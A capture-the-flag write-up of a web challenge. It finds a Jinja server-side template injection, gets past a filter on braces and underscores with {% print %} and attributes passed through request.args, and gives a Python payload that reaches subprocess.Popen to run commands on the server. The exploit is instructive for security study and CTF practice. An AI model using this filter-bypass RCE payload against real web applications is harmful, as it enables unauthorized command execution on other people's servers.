Tags: ssti web rce

Rating:

## Introduction to destruction
## ‎

This task was particularly interesting because as it turned out my solution was not only uninteded one, but also the intended solution wasn't working remotely and nobody could actually get the flag this way.

This was also my very first "first blood", so you can imagine how great it felt to get the flag... But let's start from the top.

The challenge description says

> Welcome to Curl As A Service V2, Last time I actually did visit the url, but this i don't so I cant be hacked(flag file is called flag), http://167.99.154.216:3050

## ‎
## A bit of recon
## ‎

Curl as a Service was another challenge during this CTF, but as the description says it's second version called RIaaS (Random Input as a Service) wasn't really running anything. In fact it was just a static website saying:

> Please login so that are robots know that you are human, But our login page seems to be lost

Robots, ey?

Looking into robots.txt file we could find this:

>User-agent: Stormtroopers
>
>
>Disallow: /nottheflaglol

So let's visit /nottheflaglol. As you can see this looks a bit more interesting:

![not the flag page contents](https://i.imgur.com/vqdy493.png)

## ‎
## Playing with the devil
## ‎

Trying to put anything into the field we get no curl input so it means that the input is somehow validated and to get better result it need to contain curl http:// in it.

Basically anything with that part works, so for example test curl http:// results in getting following message:

> You really thought I am going to execute 'test curl http://' ?

Our input gets reflected. Awesome!

Playing with it for a while I've noticed that some charachters are not reflected in the output. If I try to input {{_test_}} curl http:// then I get following result:

> You really thought I am going to execute 'test curl http://' ?

Both {{, }} as well as _ characters are stripped. And how these characters looks like? Of course, like parts of jinja templates.

This could mean only one thing. That I have to look for SSTI here.

## ‎
## Let's SSTI that motherf...
## ‎

The big quesion. How to perform SSTI in Jinja without the double curly braces used to execute and print code or without underscore that's needed to get out of the template sandbox?

Turns out we can do {% print(expression) %} instead of {{expression}} and it works just fine, so one of the two points is checked.

The second one - underscores - took me a moment. I googled jinja SSTI underscore bypass and it got me here: https://0day.work/jinja2-template-injection-filter-bypasses/

Turns out we can pass the underscores as query parameters and then put them into our template injection using request.args. Neat way to bypass underscore filter.

Example - we can enter the challenge website adding class and mro parameter in the query string like this: http://167.99.154.216:3050/nottheflaglol?class=\_\_class\_\_&mro=\_\_mro\_\_

and then make an injection like this

{% print(request|attr(request.args.class)|attr(request.args.mro)) %}

and it will be an equivalent of

{{request.__class__.__mro__}}

simple, right?

## ‎
## The Exploit
## ‎

This allowed me to build my payload in python using typical SSTI techniques for jinja:

python
from requests import post
import html

cmd = "cat flag"

mro = "request|attr(request.args.class)|attr(request.args.mro)"
subclasses = "((%s)[3]|attr(request.args.sc))()" % mro
popen = "(%s)[363]" % subclasses
code = "(%s)(request.args.cmd.split(' '), stdout=-1).communicate()[0]" % popen
payload = "{%%print(%s)%%} {# curl http:// #}" % code

The exploit above basically gets us to subclasses, picks a subprocess.Popen class, creates it's instance and then opens a subprocess running cat flag command.